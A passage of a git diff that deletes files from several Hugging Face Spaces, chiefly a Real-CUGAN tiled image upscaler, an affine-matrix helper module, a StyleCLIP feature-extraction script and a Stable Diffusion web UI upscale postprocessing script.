deconv=False) - - def forward(self, x, tile_mode): # 1.7G - n, c, h0, w0 = x.shape - if (tile_mode == 0): # 不tile - ph = ((h0 - 1) // 4 + 1) * 4 - pw = ((w0 - 1) // 4 + 1) * 4 - x = F.pad(x, (14, 14 + pw - w0, 14, 14 + ph - h0), 'reflect') # 需要保证被2整除 - x = self.unet1.forward(x) - x0 = self.unet2.forward(x) - x1 = F.pad(x, (-20, -20, -20, -20)) - x = torch.add(x0, x1) - if (w0 != pw or h0 != ph): x = x[:, :, :h0 * 3, :w0 * 3] - return x - elif (tile_mode == 1): # 对长边减半 - if (w0 >= h0): - crop_size_w = ((w0 - 1) // 8 * 8 + 8) // 2 # 减半后能被4整除，所以要先被8整除 - crop_size_h = (h0 - 1) // 4 * 4 + 4 # 能被4整除 - else: - crop_size_h = ((h0 - 1) // 8 * 8 + 8) // 2 # 减半后能被4整除，所以要先被8整除 - crop_size_w = (w0 - 1) // 4 * 4 + 4 # 能被4整除 - crop_size = (crop_size_h, crop_size_w) # 6.6G - elif (tile_mode == 2): # hw都减半 - crop_size = (((h0 - 1) // 8 * 8 + 8) // 2, ((w0 - 1) // 8 * 8 + 8) // 2) # 5.6G - elif (tile_mode == 3): # hw都三分之一 - crop_size = (((h0 - 1) // 12 * 12 + 12) // 3, ((w0 - 1) // 12 * 12 + 12) // 3) # 4.2G - elif (tile_mode == 4): # hw都四分之一 - crop_size = (((h0 - 1) // 16 * 16 + 16) // 4, ((w0 - 1) // 16 * 16 + 16) // 4) # 3.7G - ph = ((h0 - 1) // crop_size[0] + 1) * crop_size[0] - pw = ((w0 - 1) // crop_size[1] + 1) * crop_size[1] - x = F.pad(x, (14, 14 + pw - w0, 14, 14 + ph - h0), 'reflect') - n, c, h, w = x.shape - se_mean0 = torch.zeros((n, 64, 1, 1)).to(x.device) - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - n_patch = 0 - tmp_dict = {} - opt_res_dict = {} - for i in range(0, h - 28, crop_size[0]): - tmp_dict[i] = {} - for j in range(0, w - 28, crop_size[1]): - x_crop = x[:, :, i:i + crop_size[0] + 28, j:j + crop_size[1] + 28] - n, c1, h1, w1 = x_crop.shape - tmp0, x_crop = self.unet1.forward_a(x_crop) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(x_crop.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(x_crop, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - n_patch += 1 - tmp_dict[i][j] = (tmp0, x_crop) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 28, crop_size[0]): - for j in range(0, w - 28, crop_size[1]): - tmp0, x_crop = tmp_dict[i][j] - x_crop = self.unet1.conv2.seblock.forward_mean(x_crop, se_mean0) - opt_unet1 = self.unet1.forward_b(tmp0, x_crop) - tmp_x1, tmp_x2 = self.unet2.forward_a(opt_unet1) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x2.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x2, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2) - se_mean1 /= n_patch - se_mean0 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - for i in range(0, h - 28, crop_size[0]): - for j in range(0, w - 28, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2 = tmp_dict[i][j] - tmp_x2 = self.unet2.conv2.seblock.forward_mean(tmp_x2, se_mean1) - tmp_x3 = self.unet2.forward_b(tmp_x2) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x3.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x3, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2, tmp_x3) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 64, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 28, crop_size[0]): - for j in range(0, w - 28, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2, tmp_x3 = tmp_dict[i][j] - tmp_x3 = self.unet2.conv3.seblock.forward_mean(tmp_x3, se_mean0) - tmp_x4 = self.unet2.forward_c(tmp_x2, tmp_x3) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x4.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x4, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x4) - se_mean1 /= n_patch - for i in range(0, h - 28, crop_size[0]): - opt_res_dict[i] = {} - for j in range(0, w - 28, crop_size[1]): - opt_unet1, tmp_x1, tmp_x4 = tmp_dict[i][j] - tmp_x4 = self.unet2.conv4.seblock.forward_mean(tmp_x4, se_mean1) - x0 = self.unet2.forward_d(tmp_x1, tmp_x4) - x1 = F.pad(opt_unet1, (-20, -20, -20, -20)) - x_crop = torch.add(x0, x1) # x0是unet2的最终输出 - opt_res_dict[i][j] = x_crop # - del tmp_dict - torch.cuda.empty_cache() - res = torch.zeros((n, c, h * 3 - 84, w * 3 - 84)).to(x.device) - if ("Half" in x.type()): - res = res.half() - for i in range(0, h - 28, crop_size[0]): - for j in range(0, w - 28, crop_size[1]): - res[:, :, i * 3:i * 3 + h1 * 3 - 84, j * 3:j * 3 + w1 * 3 - 84] = opt_res_dict[i][j] - del opt_res_dict - torch.cuda.empty_cache() - if (w0 != pw or h0 != ph): res = res[:, :, :h0 * 3, :w0 * 3] - return res - - -class UpCunet4x(nn.Module): # 完美tile，全程无损 - def __init__(self, in_channels=3, out_channels=3): - super(UpCunet4x, self).__init__() - self.unet1 = UNet1(in_channels, 64, deconv=True) - self.unet2 = UNet2(64, 64, deconv=False) - self.ps = nn.PixelShuffle(2) - self.conv_final = nn.Conv2d(64, 12, 3, 1, padding=0, bias=True) - - def forward(self, x, tile_mode): - n, c, h0, w0 = x.shape - x00 = x - if (tile_mode == 0): # 不tile - ph = ((h0 - 1) // 2 + 1) * 2 - pw = ((w0 - 1) // 2 + 1) * 2 - x = F.pad(x, (19, 19 + pw - w0, 19, 19 + ph - h0), 'reflect') # 需要保证被2整除 - x = self.unet1.forward(x) - x0 = self.unet2.forward(x) - x1 = F.pad(x, (-20, -20, -20, -20)) - x = torch.add(x0, x1) - x = self.conv_final(x) - x = F.pad(x, (-1, -1, -1, -1)) - x = self.ps(x) - if (w0 != pw or h0 != ph): x = x[:, :, :h0 * 4, :w0 * 4] - x += F.interpolate(x00, scale_factor=4, mode='nearest') - return x - elif (tile_mode == 1): # 对长边减半 - if (w0 >= h0): - crop_size_w = ((w0 - 1) // 4 * 4 + 4) // 2 # 减半后能被2整除，所以要先被4整除 - crop_size_h = (h0 - 1) // 2 * 2 + 2 # 能被2整除 - else: - crop_size_h = ((h0 - 1) // 4 * 4 + 4) // 2 # 减半后能被2整除，所以要先被4整除 - crop_size_w = (w0 - 1) // 2 * 2 + 2 # 能被2整除 - crop_size = (crop_size_h, crop_size_w) # 6.6G - elif (tile_mode == 2): # hw都减半 - crop_size = (((h0 - 1) // 4 * 4 + 4) // 2, ((w0 - 1) // 4 * 4 + 4) // 2) # 5.6G - elif (tile_mode == 3): # hw都三分之一 - crop_size = (((h0 - 1) // 6 * 6 + 6) // 3, ((w0 - 1) // 6 * 6 + 6) // 3) # 4.1G - elif (tile_mode == 4): # hw都四分之一 - crop_size = (((h0 - 1) // 8 * 8 + 8) // 4, ((w0 - 1) // 8 * 8 + 8) // 4) # 3.7G - ph = ((h0 - 1) // crop_size[0] + 1) * crop_size[0] - pw = ((w0 - 1) // crop_size[1] + 1) * crop_size[1] - x = F.pad(x, (19, 19 + pw - w0, 19, 19 + ph - h0), 'reflect') - n, c, h, w = x.shape - se_mean0 = torch.zeros((n, 64, 1, 1)).to(x.device) - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - n_patch = 0 - tmp_dict = {} - opt_res_dict = {} - for i in range(0, h - 38, crop_size[0]): - tmp_dict[i] = {} - for j in range(0, w - 38, crop_size[1]): - x_crop = x[:, :, i:i + crop_size[0] + 38, j:j + crop_size[1] + 38] - n, c1, h1, w1 = x_crop.shape - tmp0, x_crop = self.unet1.forward_a(x_crop) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(x_crop.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(x_crop, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - n_patch += 1 - tmp_dict[i][j] = (tmp0, x_crop) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 38, crop_size[0]): - for j in range(0, w - 38, crop_size[1]): - tmp0, x_crop = tmp_dict[i][j] - x_crop = self.unet1.conv2.seblock.forward_mean(x_crop, se_mean0) - opt_unet1 = self.unet1.forward_b(tmp0, x_crop) - tmp_x1, tmp_x2 = self.unet2.forward_a(opt_unet1) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x2.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x2, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2) - se_mean1 /= n_patch - se_mean0 = torch.zeros((n, 128, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean0 = se_mean0.half() - for i in range(0, h - 38, crop_size[0]): - for j in range(0, w - 38, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2 = tmp_dict[i][j] - tmp_x2 = self.unet2.conv2.seblock.forward_mean(tmp_x2, se_mean1) - tmp_x3 = self.unet2.forward_b(tmp_x2) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x3.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x3, dim=(2, 3), keepdim=True) - se_mean0 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x2, tmp_x3) - se_mean0 /= n_patch - se_mean1 = torch.zeros((n, 64, 1, 1)).to(x.device) # 64#128#128#64 - if ("Half" in x.type()): - se_mean1 = se_mean1.half() - for i in range(0, h - 38, crop_size[0]): - for j in range(0, w - 38, crop_size[1]): - opt_unet1, tmp_x1, tmp_x2, tmp_x3 = tmp_dict[i][j] - tmp_x3 = self.unet2.conv3.seblock.forward_mean(tmp_x3, se_mean0) - tmp_x4 = self.unet2.forward_c(tmp_x2, tmp_x3) - if ("Half" in x.type()): # torch.HalfTensor/torch.cuda.HalfTensor - tmp_se_mean = torch.mean(tmp_x4.float(), dim=(2, 3), keepdim=True).half() - else: - tmp_se_mean = torch.mean(tmp_x4, dim=(2, 3), keepdim=True) - se_mean1 += tmp_se_mean - tmp_dict[i][j] = (opt_unet1, tmp_x1, tmp_x4) - se_mean1 /= n_patch - for i in range(0, h - 38, crop_size[0]): - opt_res_dict[i] = {} - for j in range(0, w - 38, crop_size[1]): - opt_unet1, tmp_x1, tmp_x4 = tmp_dict[i][j] - tmp_x4 = self.unet2.conv4.seblock.forward_mean(tmp_x4, se_mean1) - x0 = self.unet2.forward_d(tmp_x1, tmp_x4) - x1 = F.pad(opt_unet1, (-20, -20, -20, -20)) - x_crop = torch.add(x0, x1) # x0是unet2的最终输出 - x_crop = self.conv_final(x_crop) - x_crop = F.pad(x_crop, (-1, -1, -1, -1)) - x_crop = self.ps(x_crop) - opt_res_dict[i][j] = x_crop - del tmp_dict - torch.cuda.empty_cache() - res = torch.zeros((n, c, h * 4 - 152, w * 4 - 152)).to(x.device) - if ("Half" in x.type()): - res = res.half() - for i in range(0, h - 38, crop_size[0]): - for j in range(0, w - 38, crop_size[1]): - # print(opt_res_dict[i][j].shape,res[:, :, i * 4:i * 4 + h1 * 4 - 144, j * 4:j * 4 + w1 * 4 - 144].shape) - res[:, :, i * 4:i * 4 + h1 * 4 - 152, j * 4:j * 4 + w1 * 4 - 152] = opt_res_dict[i][j] - del opt_res_dict - torch.cuda.empty_cache() - if (w0 != pw or h0 != ph): res = res[:, :, :h0 * 4, :w0 * 4] - res += F.interpolate(x00, scale_factor=4, mode='nearest') - return res # - - -class RealWaifuUpScaler(object): - def __init__(self, scale, weight_path, half, device): - weight = torch.load(weight_path, map_location="cpu") - self.model = eval("UpCunet%sx" % scale)() - if (half == True): - self.model = self.model.half().to(device) - else: - self.model = self.model.to(device) - self.model.load_state_dict(weight, strict=True) - self.model.eval() - self.half = half - self.device = device - - def np2tensor(self, np_frame): - if (self.half == False): - return torch.from_numpy(np.transpose(np_frame, (2, 0, 1))).unsqueeze(0).to(self.device).float() / 255 - else: - return torch.from_numpy(np.transpose(np_frame, (2, 0, 1))).unsqueeze(0).to(self.device).half() / 255 - - def tensor2np(self, tensor): - if (self.half == False): - return ( - np.transpose((tensor.data.squeeze() * 255.0).round().clamp_(0, 255).byte().cpu().numpy(), (1, 2, 0))) - else: - return (np.transpose((tensor.data.squeeze().float() * 255.0).round().clamp_(0, 255).byte().cpu().numpy(), - (1, 2, 0))) - - def __call__(self, frame, tile_mode): - with torch.no_grad(): - tensor = self.np2tensor(frame) - result = self.tensor2np(self.model(tensor, tile_mode)) - return result - - -if __name__ == "__main__": - ###########inference_img - import time, cv2, sys - from time import time as ttime - - for weight_path, scale in [("weights_v3/up2x-latest-denoise3x.pth", 2), ("weights_v3/up3x-latest-denoise3x.pth", 3), - ("weights_v3/up4x-latest-denoise3x.pth", 4)]: - for tile_mode in [0, 1, 2, 3, 4]: - upscaler2x = RealWaifuUpScaler(scale, weight_path, half=True, device="cuda:0") - input_dir = "%s/input_dir1" % root_path - output_dir = "%s/opt-dir-all-test" % root_path - os.makedirs(output_dir, exist_ok=True) - for name in os.listdir(input_dir): - print(name) - tmp = name.split(".") - inp_path = os.path.join(input_dir, name) - suffix = tmp[-1] - prefix = ".".join(tmp[:-1]) - tmp_path = os.path.join(root_path, "tmp", "%s.%s" % (int(time.time() * 1000000), suffix)) - print(inp_path, tmp_path) - # 支持中文路径 - # os.link(inp_path, tmp_path)#win用硬链接 - os.symlink(inp_path, tmp_path) # linux用软链接 - frame = cv2.imread(tmp_path)[:, :, [2, 1, 0]] - t0 = ttime() - result = upscaler2x(frame, tile_mode=tile_mode)[:, :, ::-1] - t1 = ttime() - print(prefix, "done", t1 - t0) - tmp_opt_path = os.path.join(root_path, "tmp", "%s.%s" % (int(time.time() * 1000000), suffix)) - cv2.imwrite(tmp_opt_path, result) - n = 0 - while (1): - if (n == 0): - suffix = "_%sx_tile%s.png" % (scale, tile_mode) - else: - suffix = "_%sx_tile%s_%s.png" % (scale, tile_mode, n) # - if (os.path.exists(os.path.join(output_dir, prefix + suffix)) == False): - break - else: - n += 1 - final_opt_path = os.path.join(output_dir, prefix + suffix) - os.rename(tmp_opt_path, final_opt_path) - os.remove(tmp_path) diff --git a/spaces/twdac/BuChengFangYuan-ChineseJapaneseTranslation/app/my_py_lib/affine_matrix_tool.py b/spaces/twdac/BuChengFangYuan-ChineseJapaneseTranslation/app/my_py_lib/affine_matrix_tool.py deleted file mode 100644 index 6c989f8a17dba13cf77e01454c9dad923f5d550d..0000000000000000000000000000000000000000 --- a/spaces/twdac/BuChengFangYuan-ChineseJapaneseTranslation/app/my_py_lib/affine_matrix_tool.py +++ /dev/null @@ -1,151 +0,0 @@ -''' -仿射矩阵相关工具，注意这里的坐标系是窗口坐标系，左上角为原点，往右为X+，往下为Y+ -并且注意，这里返回的矩阵是用于顶点顺序为 xy 的顶点的处理 -new_xy1 = M @ old_xy1 -''' - -import numpy as np -import cv2 -from typing import Union, Tuple, Iterable - - -# 旋转，平移，缩放，切变 - - -# def _rot_mat(deg): -# ''' -# 绕Z轴旋转，来自 glm::eulerAngleZ -# :param angle: -# :return: -# ''' -# rad = deg / 180. * np.pi -# cosZ = np.cos(rad) -# sinZ = np.sin(rad) -# -# M = np.array([ -# [cosZ, sinZ, 0], -# [-sinZ, cosZ, 0], -# [0, 0, 1], -# ], dtype=np.float32) -# return M - - -def get_rotation_matrix_2d(angle, center_yx, scale): - ''' - 等效于 cv2.getRotationMatrix2D - :param angle: 旋转角度 - :param scale: 缩放 - :param center_yx: 旋转点 - :return: - ''' - angle = np.deg2rad(angle) - a = scale * np.cos(angle) - b = scale * np.sin(angle) - M = [[a, b, (1-a)*center_yx[1] - b*center_yx[0]], - [-b, a, b*center_yx[1] + (1-a)*center_yx[0]]] - M = np.asarray(M, np.float32) - return M - - -def make_rotate(angle=180., center_yx=(0.5, 0.5), img_hw: Union[None, Tuple]=(100, 100), dtype=np.float32): - ''' - 旋转 - :param angle: 顺时针旋转角度 - :param center_yx: 如果 img_hw 不为 None，则为百分比坐标，否则为绝对坐标 - :param img_hw: 图像大小，单位为像素 - :return: - ''' - if img_hw is not None: - center_yx = (img_hw[0] * center_yx[0], img_hw[1] * center_yx[1]) - - R = np.eye(3, dtype=dtype) - # 这里加个符号使其顺时针转动 - R[:2] = get_rotation_matrix_2d(angle=-angle, center_yx=center_yx, scale=1.) - - # T = np.eye(3, dtype=dtype) - # T[0, 2] = center_yx[1] - # T[1, 2] = center_yx[0] - # - # invT = np.copy(T) - # invT[0, 2] = -invT[0, 2] - # invT[1, 2] = -invT[1, 2] - # - # # 这矩阵太奇怪了，我从glm里面再弄个算法 - # R = T @ _rot_mat(angle) @ invT - return R - - -def make_move(move_yx=(0.2, 0.2), img_hw: Union[None, Tuple]=(100, 100), dtype=np.float32): - ''' - 平移 - :param move_yx: 平移距离，当 img_hw 不是None时，单位为图像大小百分比，如果 img_hw 是 None，则为像素单位 - :param img_hw: 图像大小，单位为像素 - :return: - ''' - move_yx = list(move_yx) - if img_hw is not None: - move_yx[1] = move_yx[1] * img_hw[1] - move_yx[0] = move_yx[0] * img_hw[0] - - T = np.eye(3, dtype=dtype) - T[0, 2] = move_yx[1] - T[1, 2] = move_yx[0] - return T - - -def make_scale(scale_yx=(2., 2.), center_yx=(0.5, 0.5), img_hw: Union[None, Tuple]=(100, 100), dtype=np.float32): - ''' - 缩放 - :param scale_yx: 单位必须为相对图像大小的百分比 - :param center_yx: 变换中心位置，当 img_hw 不是None时，单位为图像大小百分比，如果 img_hw 是 None，则为像素单位 - :param img_hw: 图像大小，单位为像素 - :return: - ''' - if img_hw is not None: - center_yx = (img_hw[0] * center_yx[0], img_hw[1] * center_yx[1]) - - S = np.eye(3, dtype=dtype) - S[0, 0] = scale_yx[1] - S[1, 1] = scale_yx[0] - S[0, 2] = (1-scale_yx[1]) * center_yx[1] - S[1, 2] = (1-scale_yx[0]) * center_yx[0] - - return S - - -def make_shear(shear_yx=(1., 1.), dtype=np.float32): - ''' - 切变 - :param shear_yx: 单位为角度；变量1，图像x边与窗口x边角度，变量2，图像y边与窗口y边角度 - :return: - ''' - # Shear - S = np.eye(3, dtype=dtype) - S[0, 1] = np.tan(shear_yx[1] * np.pi / 180) # x shear (deg) - S[1, 0] = np.tan(shear_yx[0] * np.pi / 180) # y shear (deg) - return S - - -if __name__ == '__main__': - pt_xy = np.array([0, 0, 1], dtype=np.float32) - - R = make_rotate(90, (0, 10), img_hw=None) - rot_pt_xy = R @ pt_xy - assert np.allclose(rot_pt_xy, [10, -10, 1]) - print(rot_pt_xy) - - T = make_move((2, 5), None) - t_pt_xy = T @ pt_xy - assert np.allclose(t_pt_xy, [5, 2, 1]) - print(t_pt_xy) - - S = make_scale((2, 4), (2, 10), None) - s_pt_xy = S @ pt_xy - assert np.allclose(s_pt_xy, [-30, -2, 1]) - print(s_pt_xy) - - # pt_yx = np.array([2, 2, 1], dtype=np.float32) - # Sh = make_shear((90, 90)) - # sh_pt_yx = Sh @ pt_yx - # # assert np.allclose(sh_pt_yx, [0, -10, 1]) - # print(sh_pt_yx) \ No newline at end of file diff --git a/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/SingleChannel.py b/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/SingleChannel.py deleted file mode 100644 index ecaa7ec7898d37f8f5db171f9141a5253af3fa73..0000000000000000000000000000000000000000 --- a/spaces/ucalyptus/PTI/models/StyleCLIP/global_directions/SingleChannel.py +++ /dev/null @@ -1,109 +0,0 @@ - - - -import numpy as np -import torch -import clip -from PIL import Image -import copy -from manipulate import Manipulator -import argparse - -def GetImgF(out,model,preprocess): - imgs=out - imgs1=imgs.reshape([-1]+list(imgs.shape[2:])) - - tmp=[] - for i in range(len(imgs1)): - - img=Image.fromarray(imgs1[i]) - image = preprocess(img).unsqueeze(0).to(device) - tmp.append(image) - - image=torch.cat(tmp) - with torch.no_grad(): - image_features = model.encode_image(image) - - image_features1=image_features.cpu().numpy() - image_features1=image_features1.reshape(list(imgs.shape[:2])+[512]) - - return image_features1 - -def GetFs(fs): - tmp=np.linalg.norm(fs,axis=-1) - fs1=fs/tmp[:,:,:,None] - fs2=fs1[:,:,1,:]-fs1[:,:,0,:] # 5*sigma - (-5)* sigma - fs3=fs2/np.linalg.norm(fs2,axis=-1)[:,:,None] - fs3=fs3.mean(axis=1) - fs3=fs3/np.linalg.norm(fs3,axis=-1)[:,None] - return fs3 - -#%% -if __name__ == "__main__": - parser = argparse.ArgumentParser(description='Process some integers.') - - parser.add_argument('--dataset_name',type=str,default='cat', - help='name of dataset, for example, ffhq') - args = parser.parse_args() - dataset_name=args.dataset_name - - #%% - device = "cuda" if torch.cuda.is_available() else "cpu" - model, preprocess = clip.load("ViT-B/32", device=device) - #%% - M=Manipulator(dataset_name=dataset_name) - np.set_printoptions(suppress=True) - print(M.dataset_name) - #%% - img_sindex=0 - num_images=100 - dlatents_o=[] - tmp=img_sindex*num_images - for i in range(len(M.dlatents)): - tmp1=M.dlatents[i][tmp:(tmp+num_images)] - dlatents_o.append(tmp1) - #%% - - all_f=[] - M.alpha=[-5,5] #ffhq 5 - M.step=2 - M.num_images=num_images - select=np.array(M.mindexs)<=16 #below or equal to 128 resolution - mindexs2=np.array(M.mindexs)[select] - for lindex in mindexs2: #ignore ToRGB layers - print(lindex) - num_c=M.dlatents[lindex].shape[1] - for cindex in range(num_c): - - M.dlatents=copy.copy(dlatents_o) - M.dlatents[lindex][:,cindex]=M.code_mean[lindex][cindex] - - M.manipulate_layers=[lindex] - codes,out=M.EditOneC(cindex) - image_features1=GetImgF(out,model,preprocess) - all_f.append(image_features1) - - all_f=np.array(all_f) - - fs3=GetFs(all_f) - - #%% - file_path='./npy/'+M.dataset_name+'/' - np.save(file_path+'fs3',fs3) - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/spaces/usbethFlerru/sovits-modelsV2/example/Agnipankh Book Apj Abdul Kalam Free Download In Marathi Pdf Stories _VERIFIED_.md b/spaces/usbethFlerru/sovits-modelsV2/example/Agnipankh Book Apj Abdul Kalam Free Download In Marathi Pdf Stories _VERIFIED_.md deleted file mode 100644 index 7b6de8ac92db0a8cdea1275c2c257d0a822de1b4..0000000000000000000000000000000000000000 --- a/spaces/usbethFlerru/sovits-modelsV2/example/Agnipankh Book Apj Abdul Kalam Free Download In Marathi Pdf Stories _VERIFIED_.md +++ /dev/null @@ -1,11 +0,0 @@ -
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                diff --git a/spaces/user238921933/stable-diffusion-webui/scripts/postprocessing_upscale.py b/spaces/user238921933/stable-diffusion-webui/scripts/postprocessing_upscale.py deleted file mode 100644 index ccec72fcbc72eeffbe24a659bf53ecba71162391..0000000000000000000000000000000000000000 --- a/spaces/user238921933/stable-diffusion-webui/scripts/postprocessing_upscale.py +++ /dev/null @@ -1,131 +0,0 @@ -from PIL import Image -import numpy as np - -from modules import scripts_postprocessing, shared -import gradio as gr - -from modules.ui_components import FormRow - - -upscale_cache = {} - - -class ScriptPostprocessingUpscale(scripts_postprocessing.ScriptPostprocessing): - name = "Upscale" - order = 1000 - - def ui(self): - selected_tab = gr.State(value=0) - - with gr.Tabs(elem_id="extras_resize_mode"): - with gr.TabItem('Scale by', elem_id="extras_scale_by_tab") as tab_scale_by: - upscaling_resize = gr.Slider(minimum=1.0, maximum=8.0, step=0.05, label="Resize", value=4, elem_id="extras_upscaling_resize") - - with gr.TabItem('Scale to', elem_id="extras_scale_to_tab") as tab_scale_to: - with FormRow(): - upscaling_resize_w = gr.Number(label="Width", value=512, precision=0, elem_id="extras_upscaling_resize_w") - upscaling_resize_h = gr.Number(label="Height", value=512, precision=0, elem_id="extras_upscaling_resize_h") - upscaling_crop = gr.Checkbox(label='Crop to fit', value=True, elem_id="extras_upscaling_crop") - - with FormRow(): - extras_upscaler_1 = gr.Dropdown(label='Upscaler 1', elem_id="extras_upscaler_1", choices=[x.name for x in shared.sd_upscalers], value=shared.sd_upscalers[0].name) - - with FormRow(): - extras_upscaler_2 = gr.Dropdown(label='Upscaler 2', elem_id="extras_upscaler_2", choices=[x.name for x in shared.sd_upscalers], value=shared.sd_upscalers[0].name) - extras_upscaler_2_visibility = gr.Slider(minimum=0.0, maximum=1.0, step=0.001, label="Upscaler 2 visibility", value=0.0, elem_id="extras_upscaler_2_visibility") - - tab_scale_by.select(fn=lambda: 0, inputs=[], outputs=[selected_tab]) - tab_scale_to.select(fn=lambda: 1, inputs=[], outputs=[selected_tab]) - - return { - "upscale_mode": selected_tab, - "upscale_by": upscaling_resize, - "upscale_to_width": upscaling_resize_w, - "upscale_to_height": upscaling_resize_h, - "upscale_crop": upscaling_crop, - "upscaler_1_name": extras_upscaler_1, - "upscaler_2_name": extras_upscaler_2, - "upscaler_2_visibility": extras_upscaler_2_visibility, - } - - def upscale(self, image, info, upscaler, upscale_mode, upscale_by, upscale_to_width, upscale_to_height, upscale_crop): - if upscale_mode == 1: - upscale_by = max(upscale_to_width/image.width, upscale_to_height/image.height) - info["Postprocess upscale to"] = f"{upscale_to_width}x{upscale_to_height}" - else: - info["Postprocess upscale by"] = upscale_by - - cache_key = (hash(np.array(image.getdata()).tobytes()), upscaler.name, upscale_mode, upscale_by, upscale_to_width, upscale_to_height, upscale_crop) - cached_image = upscale_cache.pop(cache_key, None) - - if cached_image is not None: - image = cached_image - else: - image = upscaler.scaler.upscale(image, upscale_by, upscaler.data_path) - - upscale_cache[cache_key] = image - if len(upscale_cache) > shared.opts.upscaling_max_images_in_cache: - upscale_cache.pop(next(iter(upscale_cache), None), None) - - if upscale_mode == 1 and upscale_crop: - cropped = Image.new("RGB", (upscale_to_width, upscale_to_height)) - cropped.paste(image, box=(upscale_to_width // 2 - image.width // 2, upscale_to_height // 2 - image.height // 2)) - image = cropped - info["Postprocess crop to"] = f"{image.width}x{image.height}" - - return image - - def process(self, pp: scripts_postprocessing.PostprocessedImage, upscale_mode=1, upscale_by=2.0, upscale_to_width=None, upscale_to_height=None, upscale_crop=False, upscaler_1_name=None, upscaler_2_name=None, upscaler_2_visibility=0.0): - if upscaler_1_name == "None": - upscaler_1_name = None - - upscaler1 = next(iter([x for x in shared.sd_upscalers if x.name == upscaler_1_name]), None) - assert upscaler1 or (upscaler_1_name is None), f'could not find upscaler named {upscaler_1_name}' - - if not upscaler1: - return - - if upscaler_2_name == "None": - upscaler_2_name = None - - upscaler2 = next(iter([x for x in shared.sd_upscalers if x.name == upscaler_2_name and x.name != "None"]), None) - assert upscaler2 or (upscaler_2_name is None), f'could not find upscaler named {upscaler_2_name}' - - upscaled_image = self.upscale(pp.image, pp.info, upscaler1, upscale_mode, upscale_by, upscale_to_width, upscale_to_height, upscale_crop) - pp.info[f"Postprocess upscaler"] = upscaler1.name - - if upscaler2 and upscaler_2_visibility > 0: - second_upscale = self.upscale(pp.image, pp.info, upscaler2, upscale_mode, upscale_by, upscale_to_width, upscale_to_height, upscale_crop) - upscaled_image = Image.blend(upscaled_image, second_upscale, upscaler_2_visibility) - - pp.info[f"Postprocess upscaler 2"] = upscaler2.name - - pp.image = upscaled_image - - def image_changed(self): - upscale_cache.clear() - - -class ScriptPostprocessingUpscaleSimple(ScriptPostprocessingUpscale): - name = "Simple Upscale" - order = 900 - - def ui(self): - with FormRow(): - upscaler_name = gr.Dropdown(label='Upscaler', choices=[x.name for x in shared.sd_upscalers], value=shared.sd_upscalers[0].name) - upscale_by = gr.Slider(minimum=0.05, maximum=8.0, step=0.05, label="Upscale by", value=2) - - return { - "upscale_by": upscale_by, - "upscaler_name": upscaler_name, - } - - def process(self, pp: scripts_postprocessing.PostprocessedImage, upscale_by=2.0, upscaler_name=None): - if upscaler_name is None or upscaler_name == "None": - return - - upscaler1 = next(iter([x for x in shared.sd_upscalers if x.name == upscaler_name]), None) - assert upscaler1, f'could not find upscaler named {upscaler_name}' - - pp.image = self.upscale(pp.image, pp.info, upscaler1, 0, upscale_by, 0, 0, False) - pp.info[f"Postprocess upscaler"] = upscaler1.name diff --git a/spaces/victorisgeek/SwapFace2Pon/upscaler/RealESRGAN/arch_utils.py b/spaces/victorisgeek/SwapFace2Pon/upscaler/RealESRGAN/arch_utils.py deleted file mode 100644 index 90e18463b983f645e0bd189d55ade4b627c5418e..0000000000000000000000000000000000000000 --- 